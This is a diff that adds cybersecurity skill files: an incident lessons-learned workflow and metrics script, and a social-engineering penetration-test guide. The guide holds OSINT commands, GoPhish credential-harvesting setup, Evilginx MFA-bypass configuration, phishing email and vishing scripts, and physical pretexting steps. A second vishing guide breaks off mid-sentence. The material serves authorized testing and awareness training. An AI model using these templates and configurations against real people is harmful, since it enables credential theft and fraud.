Yes/No | +| | CISO | Yes/No | + +## Meeting Notes +[Key discussion points and decisions] + +## Approval +| Role | Name | Date | +|------|------|------| +| IR Lead | | | +| CISO | | | diff --git a/skills/conducting-post-incident-lessons-learned/references/standards.md b/skills/conducting-post-incident-lessons-learned/references/standards.md new file mode 100644 index 00000000..90544e5f --- /dev/null +++ b/skills/conducting-post-incident-lessons-learned/references/standards.md @@ -0,0 +1,31 @@ +# Standards References - Post-Incident Lessons Learned + +## NIST SP 800-61 Rev. 2 - Section 3.4 Post-Incident Activity +- 3.4.1: Lessons Learned meetings after each significant incident +- 3.4.2: Using Collected Incident Data for trending and metrics +- Recommends formal review within days of resolution + +## NIST SP 800-61 Rev. 3 - Continuous Improvement +- Recover (RC) function: Learning from incidents +- RC.CO-03: Recovery activities and progress communicated +- Emphasis on continuous improvement of IR capabilities + +## SANS PICERL - Lessons Learned Phase +- Phase 6: Final phase of incident handling +- Formal review with all stakeholders +- Document improvements and update procedures + +## MITRE ATT&CK - Detection Gap Analysis +- Map incident techniques to ATT&CK framework +- Identify detection gaps in current monitoring +- Develop new detection rules based on observed TTPs + +## ISO 27001 - Clause 10: Improvement +- 10.1: Nonconformity and corrective action +- 10.2: Continual improvement +- Requires organizations to learn from security incidents + +## Google SRE Post-Mortem Culture +- Blameless approach to incident review +- Focus on systemic issues rather than human error +- Document and share learnings broadly diff --git a/skills/conducting-post-incident-lessons-learned/references/workflows.md b/skills/conducting-post-incident-lessons-learned/references/workflows.md new file mode 100644 index 00000000..3211fe84 --- /dev/null +++ b/skills/conducting-post-incident-lessons-learned/references/workflows.md @@ -0,0 +1,60 @@ +# Post-Incident Lessons Learned - Detailed Workflow + +## Pre-Meeting Preparation (1-3 days before) +1. Compile complete incident timeline from all sources +2. Gather all communication logs (email, chat, phone) +3. Export incident metrics from ticketing system +4. Collect detection data from SIEM/EDR +5. Identify all participants and send calendar invites + +## Meeting Facilitation Guide + +### Ground Rules +1. Blameless discussion - focus on processes and systems +2. Everyone's perspective is valued equally +3. Objective review of facts, not opinions +4. All observations documented in real-time +5. Action items must have owners and deadlines + +### Discussion Framework +1. What was the incident? (5 min) - Brief factual summary +2. Walk the timeline (20 min) - Chronological event review +3. What went well? (15 min) - Effective actions and decisions +4. What could improve? (15 min) - Gaps and failures +5. Root cause deep dive (15 min) - 5 Whys or fishbone diagram +6. Action items (10 min) - Assigned improvements +7. Playbook updates (10 min) - Procedural changes + +## Key Metrics Framework + +| Metric | Formula | Industry Benchmark | +|--------|---------|-------------------| +| Dwell Time | Detection - Initial Compromise | Median: 10 days (Mandiant) | +| MTTD | Triage Complete - First Alert | Target: < 15 min (P1) | +| MTTC | Containment Complete - Detection | Target: < 4 hours | +| MTTR | Recovery Complete - Eradication | Target: < 48 hours | +| Total Duration | Closure - Detection | Target: < 7 days | + +## Action Item Categories + +### Process +- Updated playbooks and runbooks +- Communication plan updates +- Escalation criteria changes + +### Technology +- New detection rules +- Tool improvements +- Monitoring expansion +- Automation opportunities + +### People +- Training needs +- Staffing gaps +- Cross-training requirements + +## Follow-Up Schedule +- 1 week: Action items tracked in project system +- 1 month: First progress review +- 3 months: Validate improvements with tabletop +- 6 months: Re-evaluate metrics diff --git a/skills/conducting-post-incident-lessons-learned/scripts/process.py b/skills/conducting-post-incident-lessons-learned/scripts/process.py new file mode 100644 index 00000000..d366ab65 --- /dev/null +++ b/skills/conducting-post-incident-lessons-learned/scripts/process.py @@ -0,0 +1,254 @@ +#!/usr/bin/env python3 +""" +Post-Incident Lessons Learned Automation Script + +Generates structured post-incident review reports including: +- Incident metrics calculation (MTTD, MTTC, MTTR) +- Timeline compilation +- Action item tracking +- Trend analysis across incidents + +Requirements: + pip install requests jinja2 +""" + +import argparse +import json +import logging +import os +from collections import Counter +from datetime import datetime, timezone +from typing import Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger("lessons_learned") + + +class IncidentMetrics: + """Calculate incident response metrics from timeline data.""" + + def __init__(self, timeline: dict): + self.timeline = timeline + self.fmt = "%Y-%m-%dT%H:%M:%S" + + def _parse(self, key: str) -> Optional[datetime]: + val = self.timeline.get(key) + if val: + try: + return datetime.strptime(val, self.fmt) + except ValueError: + return datetime.fromisoformat(val) + return None + + def calculate(self) -> dict: + compromise = self._parse("compromise_time") + detection = self._parse("detection_time") + triage = self._parse("triage_time") + containment = self._parse("containment_time") + eradication = self._parse("eradication_time") + recovery = self._parse("recovery_time") + closure = self._parse("closure_time") + + metrics = {} + if compromise and detection: + metrics["dwell_time_hours"] = round((detection - compromise).total_seconds() / 3600, 2) + if detection and triage: + metrics["mttd_minutes"] = round((triage - detection).total_seconds() / 60, 2) + if detection and containment: + metrics["mttc_hours"] = round((containment - detection).total_seconds() / 3600, 2) + if eradication and recovery: + metrics["mttr_hours"] = round((recovery - eradication).total_seconds() / 3600, 2) + if containment and eradication: + metrics["eradication_hours"] = round((eradication - containment).total_seconds() / 3600, 2) + if detection and closure: + metrics["total_duration_hours"] = round((closure - detection).total_seconds() / 3600, 2) + metrics["total_duration_days"] = round(metrics["total_duration_hours"] / 24, 1) + + return metrics + + +class RootCauseAnalyzer: + """Structure root cause analysis using 5 Whys technique.""" + + def __init__(self): + self.whys = [] + + def add_why(self, question: str, answer: str): + self.whys.append({"level": len(self.whys) + 1, "question": question, "answer": answer}) + + def get_root_cause(self) -> str: + if self.whys: + return self.whys[-1]["answer"] + return "Root cause not determined" + + def to_dict(self) -> dict: + return { + "method": "5 Whys", + "analysis": self.whys, + "root_cause": self.get_root_cause(), + } + + +class LessonsLearnedReport: + """Generate comprehensive post-incident lessons learned report.""" + + def __init__(self, incident_id: str): + self.incident_id = incident_id + self.report = { + "incident_id": incident_id, + "report_date": datetime.now(timezone.utc).isoformat(), + "incident_summary": "", + "timeline": {}, + "metrics": {}, + "what_worked": [], + "what_failed": [], + "root_cause_analysis": {}, + "action_items": [], + "playbook_updates": [], + "detection_improvements": [], + } + + def set_summary(self, summary: str): + self.report["incident_summary"] = summary + + def set_timeline(self, timeline: dict): + self.report["timeline"] = timeline + calculator = IncidentMetrics(timeline) + self.report["metrics"] = calculator.calculate() + + def add_positive(self, item: str): + self.report["what_worked"].append(item) + + def add_improvement(self, item: str): + self.report["what_failed"].append(item) + + def set_root_cause(self, rca: RootCauseAnalyzer): + self.report["root_cause_analysis"] = rca.to_dict() + + def add_action_item(self, title: str, owner: str, priority: str, + deadline: str, category: str): + self.report["action_items"].append({ + "title": title, + "owner": owner, + "priority": priority, + "deadline": deadline, + "category": category, + "status": "open", + }) + + def add_playbook_update(self, playbook: str, change: str): + self.report["playbook_updates"].append({"playbook": playbook, "change": change}) + + def add_detection_improvement(self, rule_name: str, description: str, technique: str): + self.report["detection_improvements"].append({ + "rule_name": rule_name, + "description": description, + "mitre_technique": technique, + }) + + def generate_markdown(self) -> str: + m = self.report["metrics"] + md = f"# Post-Incident Lessons Learned Report\n\n" + md += f"## Incident: {self.incident_id}\n" + md += f"**Report Date:** {self.report['report_date']}\n\n" + md += f"## Summary\n{self.report['incident_summary']}\n\n" + + md += f"## Response Metrics\n" + md += f"| Metric | Value |\n|--------|-------|\n" + for k, v in m.items(): + label = k.replace("_", " ").title() + md += f"| {label} | {v} |\n" + + md += f"\n## What Worked Well\n" + for item in self.report["what_worked"]: + md += f"- {item}\n" + + md += f"\n## What Needs Improvement\n" + for item in self.report["what_failed"]: + md += f"- {item}\n" + + md += f"\n## Root Cause Analysis\n" + rca = self.report["root_cause_analysis"] + if rca: + md += f"**Method:** {rca.get('method', 'N/A')}\n\n" + for why in rca.get("analysis", []): + md += f"**Why {why['level']}:** {why['question']}\n" + md += f" **Answer:** {why['answer']}\n\n" + md += f"**Root Cause:** {rca.get('root_cause', 'N/A')}\n" + + md += f"\n## Action Items\n" + md += f"| Title | Owner | Priority | Deadline | Status |\n" + md += f"|-------|-------|----------|----------|--------|\n" + for ai in self.report["action_items"]: + md += f"| {ai['title']} | {ai['owner']} | {ai['priority']} | {ai['deadline']} | {ai['status']} |\n" + + return md + + def save(self, output_dir: str): + os.makedirs(output_dir, exist_ok=True) + json_path = os.path.join(output_dir, f"lessons_learned_{self.incident_id}.json") + md_path = os.path.join(output_dir, f"lessons_learned_{self.incident_id}.md") + + with open(json_path, "w") as f: + json.dump(self.report, f, indent=2) + with open(md_path, "w") as f: + f.write(self.generate_markdown()) + + logger.info(f"Report saved: {json_path}") + logger.info(f"Markdown saved: {md_path}") + + +class IncidentTrendAnalyzer: + """Analyze trends across multiple incidents.""" + + def __init__(self, incidents: list): + self.incidents = incidents + + def analyze(self) -> dict: + if not self.incidents: + return {"error": "No incidents to analyze"} + + types = Counter(i.get("type", "unknown") for i in self.incidents) + severities = Counter(i.get("severity", "unknown") for i in self.incidents) + root_causes = Counter(i.get("root_cause_category", "unknown") for i in self.incidents) + + dwell_times = [i.get("dwell_time_hours", 0) for i in self.incidents if i.get("dwell_time_hours")] + mttc_values = [i.get("mttc_hours", 0) for i in self.incidents if i.get("mttc_hours")] + + return { + "total_incidents": len(self.incidents), + "by_type": dict(types), + "by_severity": dict(severities), + "by_root_cause": dict(root_causes), + "avg_dwell_time_hours": round(sum(dwell_times) / len(dwell_times), 2) if dwell_times else None, + "avg_mttc_hours": round(sum(mttc_values) / len(mttc_values), 2) if mttc_values else None, + } + + +def main(): + parser = argparse.ArgumentParser(description="Post-Incident Lessons Learned Generator") + parser.add_argument("--incident-id", required=True, help="Incident ID") + parser.add_argument("--summary", default="", help="Incident summary") + parser.add_argument("--timeline-file", help="JSON file with incident timeline") + parser.add_argument("--output-dir", default="./lessons_learned_output") + + args = parser.parse_args() + + report = LessonsLearnedReport(args.incident_id) + report.set_summary(args.summary or f"Post-incident review for {args.incident_id}") + + if args.timeline_file and os.path.exists(args.timeline_file): + with open(args.timeline_file) as f: + timeline = json.load(f) + report.set_timeline(timeline) + else: + logger.info("No timeline file provided. Create a JSON with keys: " + "compromise_time, detection_time, triage_time, containment_time, " + "eradication_time, recovery_time, closure_time") + + report.save(args.output_dir) + print(f"Lessons learned report generated in: {args.output_dir}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-social-engineering-penetration-test/SKILL.md b/skills/conducting-social-engineering-penetration-test/SKILL.md new file mode 100644 index 00000000..137c7a72 --- /dev/null +++ b/skills/conducting-social-engineering-penetration-test/SKILL.md @@ -0,0 +1,305 @@ +--- +name: conducting-social-engineering-penetration-test +description: Design and execute a social engineering penetration test including phishing, vishing, smishing, and physical pretexting campaigns to measure human security resilience and identify training gaps. +domain: cybersecurity +subdomain: penetration-testing +tags: [social-engineering, phishing, vishing, pretexting, GoPhish, SET, OSINT, security-awareness, red-team] +version: "1.0" +author: mahipal +license: MIT +--- + +# Conducting Social Engineering Penetration Test + +## Overview + +Social engineering penetration testing assesses an organization's human attack surface through controlled simulation of real-world deception techniques. According to Verizon DBIR 2024, the human element is involved in approximately 68% of all breaches, with phishing remaining the dominant initial access vector. This skill covers phishing, vishing (voice phishing), smishing (SMS phishing), and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx. + +## Prerequisites + +- Written authorization from senior management (CISO/CTO) +- Legal review confirming compliance with local laws (CFAA, GDPR, etc.) +- Defined scope: target employee groups, attack types, exclusions +- GoPhish server, domain for phishing infrastructure, VPS +- OSINT tools: Maltego, theHarvester, LinkedIn scraping tools +- Coordination with HR and Legal for employee notification post-test + +## Phase 1 — OSINT and Target Profiling + +### Employee Reconnaissance + +```bash +# Email harvesting +theHarvester -d targetcorp.com -b all -l 500 -f harvester_results + +# LinkedIn OSINT (manual + tools) +# Gather: names, roles, departments, email format +# Identify: new hires, IT admins, finance team, executives + +# Email format discovery +# Check: first.last@, flast@, firstl@ +# Verify with: hunter.io, phonebook.cz, email-checker.net + +# Social media OSINT +# Twitter/X: employees posting about work tools/frustrations +# Facebook: corporate event photos, office layout +# GitHub: employee repos with corporate email addresses + +# Domain intelligence +dig targetcorp.com MX +short +dig targetcorp.com TXT +short +# Check for SPF, DKIM, DMARC records +# Weak DMARC = easier email spoofing + +# Check breach databases (authorized) +# HaveIBeenPwned API for corporate emails +# Identify employees with compromised credentials +``` + +### Target Selection Matrix + +| Group | Count | Pretext | Attack Vector | +|-------|-------|---------|--------------| +| Finance | 15 | Invoice approval | Phishing (credential harvest) | +| IT Help Desk | 8 | Password reset | Vishing | +| Executives | 5 | Board meeting update | Spear phishing | +| New Hires (< 90 days) | 12 | HR onboarding form | Phishing (payload) | +| All Employees | 200 | IT security update | Broad phishing | + +## Phase 2 — Phishing Campaign + +### Infrastructure Setup + +```bash +# Register lookalike domain +# targetcorp.com -> targetc0rp.com, targetcorp-secure.com, targetcorp.net + +# Set up GoPhish server +sudo apt install gophish +# Edit config.json for admin and phishing server ports +gophish + +# Configure sending profile in GoPhish +# SMTP server: mail.attackdomain.com +# From: it-security@targetcorp-secure.com +# Headers: proper DKIM/SPF for attack domain + +# Create landing page (credential harvesting) +# Clone legitimate login page (Office 365, Okta, etc.) +# GoPhish: Import Site -> https://login.microsoftonline.com +# Enable: Capture Credentials, Capture Passwords +# Redirect to real site after capture + +# Set up Evilginx for MFA bypass (authorized testing only) +evilginx2 +: config domain attackdomain.com +: config ipv4 +: phishlets hostname o365 login.targetcorp-secure.com +: phishlets enable o365 +: lures create o365 +: lures get-url 0 +``` + +### GoPhish Campaign Configuration + +```json +{ + "campaign": { + "name": "IT Security Update - Q1 2025", + "template": { + "name": "Mandatory Security Training", + "subject": "Action Required: Complete Security Awareness Training by Friday", + "html": "...[branded email with urgency]...", + "from": "IT Security Team " + }, + "landing_page": "Office 365 Login Clone", + "sending_profile": "Phishing SMTP", + "groups": ["All Employees - Batch 1"], + "launch_date": "2025-03-10T09:00:00Z", + "send_by_date": "2025-03-10T12:00:00Z" + } +} +``` + +### Phishing Email Templates by Pretext + +**Template 1 — IT Security Update:** +``` +Subject: [Action Required] Mandatory Password Reset - Security Incident +From: IT Security + +Dear {FirstName}, + +Our security team has detected unauthorized access attempts on our systems. +As a precautionary measure, all employees must reset their passwords immediately. + +Please click below to reset your password within the next 24 hours: + +[Reset Password Now] -> {phishing_url} + +Failure to comply may result in temporary account suspension. + +Thank you, +IT Security Team +``` + +**Template 2 — Finance Invoice:** +``` +Subject: Invoice #INV-2025-4821 - Approval Required +From: Accounts Payable + +Hi {FirstName}, + +Please review and approve the attached invoice from our vendor. +Amount: $47,250.00 | Due: March 15, 2025 + +[View Invoice] -> {phishing_url} + +Best regards, +Accounts Payable +``` + +## Phase 3 — Vishing Campaign + +### Call Script Template + +``` +Pretext: IT Help Desk calling about suspicious login + +Caller: "Hi, this is [Name] from the IT Help Desk. Am I speaking with [Target Name]?" + +[Wait for confirmation] + +Caller: "We've detected some unusual login activity on your account from an +unrecognized location. For your protection, I need to verify your identity +before we can investigate further." + +Caller: "Can you confirm your employee ID and the email address associated +with your account?" + +[Record responses] + +Caller: "Thank you. I'm going to send you a verification link to confirm +it's really you. Can you click on it and enter your credentials so we can +secure your account?" + +[Send phishing link via email/SMS during call] + +Caller: "Great, I can see you've been verified. Your account is now secured. +If you notice any further issues, please call the help desk at [real number]." +``` + +### Vishing Metrics to Track + +| Metric | Description | +|--------|-------------| +| Call answered | Target picked up the phone | +| Engaged | Target continued conversation past initial question | +| Information disclosed | Target provided credentials, employee ID, or PII | +| Link clicked | Target clicked the verification link | +| Credentials entered | Target entered credentials on phishing page | +| Reported | Target reported the call to security | + +## Phase 4 — Physical Social Engineering + +### Physical Pretexting Scenarios + +``` +Scenario 1: Delivery Person +- Arrive with package labeled for executive +- Request access to deliver personally +- Attempt to tailgate through secure doors +- Drop USB drives in common areas + +Scenario 2: IT Vendor +- Arrive with vendor badge (printed) +- Claim scheduled maintenance on network closet +- Attempt to access server rooms +- Install rogue wireless AP if access gained + +Scenario 3: New Employee +- Arrive claiming first day orientation +- Request temporary badge +- Attempt to access restricted areas +- Photograph sensitive screens/documents + +Evidence Collection: +- Body camera (if legally permitted and authorized) +- Photographs of accessed areas +- WiFi probe from rogue AP +- Notes on which doors/checkpoints bypassed +``` + +## Phase 5 — Metrics and Analysis + +### Campaign Results Dashboard + +``` +Phishing Campaign Results: +├── Emails Sent: 200 +├── Emails Delivered: 195 (97.5%) +├── Emails Opened: 142 (72.8%) +├── Links Clicked: 68 (34.9%) +├── Credentials Submitted: 31 (15.9%) +├── MFA Bypassed: 8 (4.1%) [Evilginx] +├── Reported to SOC: 12 (6.2%) +└── No Action: 53 (27.2%) + +Vishing Campaign Results: +├── Calls Made: 23 +├── Calls Answered: 18 (78.3%) +├── Engaged in Conversation: 15 (65.2%) +├── Information Disclosed: 9 (39.1%) +├── Credentials Provided: 4 (17.4%) +└── Reported to Security: 2 (8.7%) + +Physical Assessment: +├── Tailgating Successful: 3/5 attempts +├── USB Drives Plugged In: 2/10 dropped +├── Restricted Areas Accessed: 2/4 attempted +└── Challenged by Employee: 1 time +``` + +### Risk Scoring + +| Attack Vector | Success Rate | Risk Level | Priority | +|--------------|-------------|------------|----------| +| Phishing (credential harvest) | 15.9% | High | P1 | +| Vishing (info disclosure) | 39.1% | Critical | P1 | +| Physical tailgating | 60% | High | P2 | +| USB drop | 20% | Medium | P3 | +| Spear phishing (exec) | 40% | Critical | P1 | + +## Phase 6 — Reporting and Recommendations + +### Remediation Priorities + +| Priority | Recommendation | Timeline | +|----------|---------------|----------| +| P1 | Deploy phishing-resistant MFA (FIDO2/WebAuthn) | 30 days | +| P1 | Implement targeted security awareness training | 14 days | +| P1 | Deploy email gateway with URL rewriting | 30 days | +| P2 | Strengthen physical access controls (mantraps, visitor badges) | 60 days | +| P2 | Implement security champion program per department | 30 days | +| P3 | Deploy USB device control policy | 30 days | +| P3 | Establish phishing reporting button in email client | 14 days | + +## Tools Reference + +| Tool | Purpose | +|------|---------| +| GoPhish | Phishing campaign management platform | +| Evilginx2 | MFA bypass via reverse proxy phishing | +| Social Engineer Toolkit (SET) | Social engineering attack framework | +| Maltego | OSINT and relationship mapping | +| theHarvester | Email and domain OSINT | +| King Phisher | Phishing campaign tool | +| Modlishka | Reverse proxy for credential interception | + +## References + +- GoPhish: https://getgophish.com/ +- Evilginx2: https://github.com/kgretzky/evilginx2 +- Social Engineer Toolkit: https://github.com/trustedsec/social-engineer-toolkit +- Verizon DBIR: https://www.verizon.com/business/resources/reports/dbir/ +- NIST SP 800-61: Computer Security Incident Handling Guide diff --git a/skills/conducting-social-engineering-penetration-test/assets/template.md b/skills/conducting-social-engineering-penetration-test/assets/template.md new file mode 100644 index 00000000..ec0920ff --- /dev/null +++ b/skills/conducting-social-engineering-penetration-test/assets/template.md @@ -0,0 +1,45 @@ +# Social Engineering Penetration Test — Report Template + +## Document Control +| Field | Value | +|-------|-------| +| Client | [Name] | +| Test Type | Social Engineering Assessment | +| Vectors Tested | Phishing, Vishing, Physical | +| Period | [Start] — [End] | +| Classification | CONFIDENTIAL | + +## Executive Summary +[Overview of social engineering resilience, key success rates, highest risk groups] + +## Campaign Results + +### Phishing +| Metric | Value | +|--------|-------| +| Emails Sent | [N] | +| Open Rate | [N]% | +| Click Rate | [N]% | +| Credential Submit Rate | [N]% | +| Report Rate | [N]% | + +### Vishing +| Metric | Value | +|--------|-------| +| Calls Made | [N] | +| Info Disclosed | [N]% | +| Credentials Provided | [N]% | + +### Physical +| Metric | Value | +|--------|-------| +| Tailgate Success | [N/M] | +| Areas Accessed | [N] | + +## Department Risk Matrix +| Department | Risk | Priority Action | +|-----------|------|----------------| +| [Dept] | [Level] | [Training type] | + +## Recommendations +1. [Recommendation] diff --git a/skills/conducting-social-engineering-penetration-test/references/standards.md b/skills/conducting-social-engineering-penetration-test/references/standards.md new file mode 100644 index 00000000..aaefd695 --- /dev/null +++ b/skills/conducting-social-engineering-penetration-test/references/standards.md @@ -0,0 +1,21 @@ +# Standards — Social Engineering Penetration Testing + +## Frameworks +- PTES Social Engineering Section: http://www.pentest-standard.org/index.php/Social_Engineering +- NIST SP 800-50: Building an Information Technology Security Awareness and Training Program +- SANS Security Awareness Maturity Model +- MITRE ATT&CK Initial Access: https://attack.mitre.org/tactics/TA0001/ + +## MITRE ATT&CK Techniques +| Technique | ID | Vector | +|-----------|----|--------| +| Phishing: Spear Phishing Link | T1566.002 | Email with malicious URL | +| Phishing: Spear Phishing Attachment | T1566.001 | Email with payload | +| Phishing: Spear Phishing via Service | T1566.003 | Social media / messaging | + +## Legal Considerations +- Must have explicit written authorization +- Cannot target personal email or devices without consent +- GDPR compliance for EU employees +- Cannot use real malware or destructive payloads +- Results must be anonymized in reporting to protect individuals diff --git a/skills/conducting-social-engineering-penetration-test/references/workflows.md b/skills/conducting-social-engineering-penetration-test/references/workflows.md new file mode 100644 index 00000000..6d3d0c9a --- /dev/null +++ b/skills/conducting-social-engineering-penetration-test/references/workflows.md @@ -0,0 +1,35 @@ +# Workflows — Social Engineering Penetration Testing + +## Campaign Lifecycle +``` +Authorization & Scoping + │ + ├── OSINT & Target Profiling + │ ├── Email harvesting + │ ├── LinkedIn/social media reconnaissance + │ └── Target group selection + │ + ├── Infrastructure Setup + │ ├── Domain registration (lookalike) + │ ├── GoPhish/Evilginx deployment + │ ├── SMTP configuration (SPF/DKIM) + │ └── Landing page creation + │ + ├── Campaign Execution + │ ├── Phishing emails (batched sends) + │ ├── Vishing calls + │ ├── Physical pretexting + │ └── USB drops + │ + ├── Monitoring & Data Collection + │ ├── Email opens/clicks tracking + │ ├── Credential captures + │ ├── Call recordings/notes + │ └── Physical access logs + │ + └── Reporting & Training + ├── Metrics compilation + ├── Risk scoring + ├── Executive report + └── Targeted training recommendations +``` diff --git a/skills/conducting-social-engineering-penetration-test/scripts/process.py b/skills/conducting-social-engineering-penetration-test/scripts/process.py new file mode 100644 index 00000000..5e52e81c --- /dev/null +++ b/skills/conducting-social-engineering-penetration-test/scripts/process.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +""" +Social Engineering Penetration Test — Campaign Metrics Processor + +Processes GoPhish campaign results and generates analysis reports. +Requires: requests library for GoPhish API interaction. + +Usage: + python process.py --gophish-url https://localhost:3333 --api-key --output ./results +""" + +import json +import csv +import argparse +import datetime +from pathlib import Path +from typing import Optional + +try: + import requests + requests.packages.urllib3.disable_warnings() +except ImportError: + print("Install requests: pip install requests") + raise + + +class GoPhishClient: + """Client for GoPhish REST API.""" + + def __init__(self, base_url: str, api_key: str): + self.base_url = base_url.rstrip("/") + self.headers = {"Authorization": f"Bearer {api_key}"} + self.session = requests.Session() + self.session.headers.update(self.headers) + self.session.verify = False + + def get_campaigns(self) -> list[dict]: + resp = self.session.get(f"{self.base_url}/api/campaigns/") + resp.raise_for_status() + return resp.json() + + def get_campaign(self, campaign_id: int) -> dict: + resp = self.session.get(f"{self.base_url}/api/campaigns/{campaign_id}") + resp.raise_for_status() + return resp.json() + + def get_campaign_results(self, campaign_id: int) -> dict: + resp = self.session.get(f"{self.base_url}/api/campaigns/{campaign_id}/results") + resp.raise_for_status() + return resp.json() + + +def analyze_campaign(campaign: dict) -> dict: + """Analyze a single campaign's results.""" + results = campaign.get("results", []) + timeline = campaign.get("timeline", []) + + stats = { + "campaign_name": campaign.get("name", "Unknown"), + "total_targets": len(results), + "emails_sent": 0, + "emails_opened": 0, + "links_clicked": 0, + "credentials_submitted": 0, + "emails_reported": 0, + "errors": 0, + } + + for entry in results: + status = entry.get("status", "") + if status == "Email Sent" or status in ("Email Opened", "Clicked Link", + "Submitted Data", "Email Reported"): + stats["emails_sent"] += 1 + if status in ("Email Opened", "Clicked Link", "Submitted Data"): + stats["emails_opened"] += 1 + if status in ("Clicked Link", "Submitted Data"): + stats["links_clicked"] += 1 + if status == "Submitted Data": + stats["credentials_submitted"] += 1 + if status == "Email Reported": + stats["emails_reported"] += 1 + if status == "Error": + stats["errors"] += 1 + + # Calculate rates + total = stats["total_targets"] + if total > 0: + stats["open_rate"] = round(stats["emails_opened"] / total * 100, 1) + stats["click_rate"] = round(stats["links_clicked"] / total * 100, 1) + stats["submit_rate"] = round(stats["credentials_submitted"] / total * 100, 1) + stats["report_rate"] = round(stats["emails_reported"] / total * 100, 1) + else: + stats["open_rate"] = stats["click_rate"] = stats["submit_rate"] = stats["report_rate"] = 0 + + return stats + + +def analyze_by_department(results: list[dict]) -> dict[str, dict]: + """Break down results by department/position.""" + departments = {} + for entry in results: + dept = entry.get("position", "Unknown") + if dept not in departments: + departments[dept] = { + "total": 0, "clicked": 0, "submitted": 0, "reported": 0 + } + departments[dept]["total"] += 1 + status = entry.get("status", "") + if status in ("Clicked Link", "Submitted Data"): + departments[dept]["clicked"] += 1 + if status == "Submitted Data": + departments[dept]["submitted"] += 1 + if status == "Email Reported": + departments[dept]["reported"] += 1 + + return departments + + +def generate_report(stats: dict, dept_analysis: dict, output_dir: Path) -> str: + """Generate campaign analysis report.""" + report_file = output_dir / "se_campaign_report.md" + timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + + with open(report_file, "w") as f: + f.write("# Social Engineering Campaign Analysis Report\n\n") + f.write(f"**Campaign:** {stats['campaign_name']}\n") + f.write(f"**Generated:** {timestamp}\n\n---\n\n") + + f.write("## Campaign Metrics\n\n") + f.write("| Metric | Count | Rate |\n") + f.write("|--------|-------|------|\n") + f.write(f"| Targets | {stats['total_targets']} | 100% |\n") + f.write(f"| Emails Sent | {stats['emails_sent']} | — |\n") + f.write(f"| Emails Opened | {stats['emails_opened']} | {stats['open_rate']}% |\n") + f.write(f"| Links Clicked | {stats['links_clicked']} | {stats['click_rate']}% |\n") + f.write(f"| Credentials Submitted | {stats['credentials_submitted']} | {stats['submit_rate']}% |\n") + f.write(f"| Reported to Security | {stats['emails_reported']} | {stats['report_rate']}% |\n\n") + + f.write("## Department Breakdown\n\n") + f.write("| Department | Total | Clicked | Submitted | Reported |\n") + f.write("|-----------|-------|---------|-----------|----------|\n") + for dept, data in sorted(dept_analysis.items()): + f.write(f"| {dept} | {data['total']} | {data['clicked']} | {data['submitted']} | {data['reported']} |\n") + f.write("\n") + + f.write("## Risk Assessment\n\n") + if stats["submit_rate"] > 20: + risk = "CRITICAL" + elif stats["submit_rate"] > 10: + risk = "HIGH" + elif stats["submit_rate"] > 5: + risk = "MEDIUM" + else: + risk = "LOW" + f.write(f"**Overall Risk Level: {risk}**\n\n") + + f.write("## Recommendations\n\n") + f.write("1. Deploy phishing-resistant MFA (FIDO2/WebAuthn)\n") + f.write("2. Implement targeted training for high-risk departments\n") + f.write("3. Deploy email security gateway with URL sandboxing\n") + f.write("4. Establish phishing report button and reward program\n") + f.write("5. Conduct quarterly phishing simulations\n") + + print(f"[+] Report: {report_file}") + return str(report_file) + + +def main(): + parser = argparse.ArgumentParser(description="SE Campaign Analysis") + parser.add_argument("--gophish-url", default="https://localhost:3333") + parser.add_argument("--api-key", required=True) + parser.add_argument("--campaign-id", type=int, help="Specific campaign ID") + parser.add_argument("--output", default="./results") + args = parser.parse_args() + + output_dir = Path(args.output) + output_dir.mkdir(parents=True, exist_ok=True) + + client = GoPhishClient(args.gophish_url, args.api_key) + + if args.campaign_id: + campaign = client.get_campaign(args.campaign_id) + stats = analyze_campaign(campaign) + dept_analysis = analyze_by_department(campaign.get("results", [])) + generate_report(stats, dept_analysis, output_dir) + else: + campaigns = client.get_campaigns() + for campaign in campaigns: + stats = analyze_campaign(campaign) + dept_analysis = analyze_by_department(campaign.get("results", [])) + generate_report(stats, dept_analysis, output_dir) + print(f"[+] Processed campaign: {campaign.get('name')}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-social-engineering-pretext-call/SKILL.md b/skills/conducting-social-engineering-pretext-call/SKILL.md new file mode 100644 index 00000000..f39053e4 --- /dev/null +++ b/skills/conducting-social-engineering-pretext-call/SKILL.md @@ -0,0 +1,151 @@ +--- +name: conducting-social-engineering-pretext-call +description: Plan and execute authorized vishing (voice phishing) pretext calls to assess employee susceptibility to social engineering and evaluate security awareness controls. +domain: cybersecurity +subdomain: red-teaming +tags: [social-engineering, vishing, pretext-call, security-awareness, red-team, phishing, human-risk] +version: "1.0" +author: mahipal +license: MIT +--- + +# Conducting Social Engineering Pretext Call + +## Overview + +A pretext call (vishing) is a social engineering technique where an attacker impersonates a trusted authority figure over the phone to manipulate targets into divulging sensitive information, performing actions, or granting access. In red team engagements, pretext calls test the human element of security controls, measuring employee adherence to verification procedures and security awareness training effectiveness. MITRE ATT&CK maps this to T1566.004 (Phishing for Information: Voice) and T1598 (Phishing for Information). + +## Prerequisites + +- Written authorization specifying social engineering scope and boundaries +- List of approved target employees (usually provided by client) +- OSINT research on targets and organization +- Spoofed caller ID capability (authorized for testing) +- Call recording equipment (with legal consent as required) +- Pretext scenarios approved by client + +## MITRE ATT&CK Mapping + +| Technique ID | Name | Tactic | +|---|---|---| +| T1566.004 | Phishing: Voice | Initial Access | +| T1598 | Phishing for Information | Reconnaissance | +| T1598.003 | Phishing for Information: Spearphishing Voice | Reconnaissance | +| T1589 | Gather Victim Identity Information | Reconnaissance | +| T1591 | Gather Victim Org Information | Reconnaissance | + +## Phase 1: OSINT and Target Research + +```bash +# LinkedIn employee enumeration +theHarvester -d targetcorp.com -b linkedin -l 200 + +# Company org chart and employee roles +# Review LinkedIn, corporate website "About Us" / "Team" pages + +# Technology stack identification +# Check job postings for technology references (VPN vendor, email, helpdesk tool) + +# Phone system identification +# Call main line, note IVR options, department names, extension patterns +``` + +Key intelligence to gather: +- Internal helpdesk phone number and procedures +- IT department names and staff +- VPN/remote access vendor (Cisco AnyConnect, Fortinet, Pulse Secure) +- Corporate email format (first.last, flast, etc.) +- Recent events (mergers, office moves, system upgrades) +- Employee 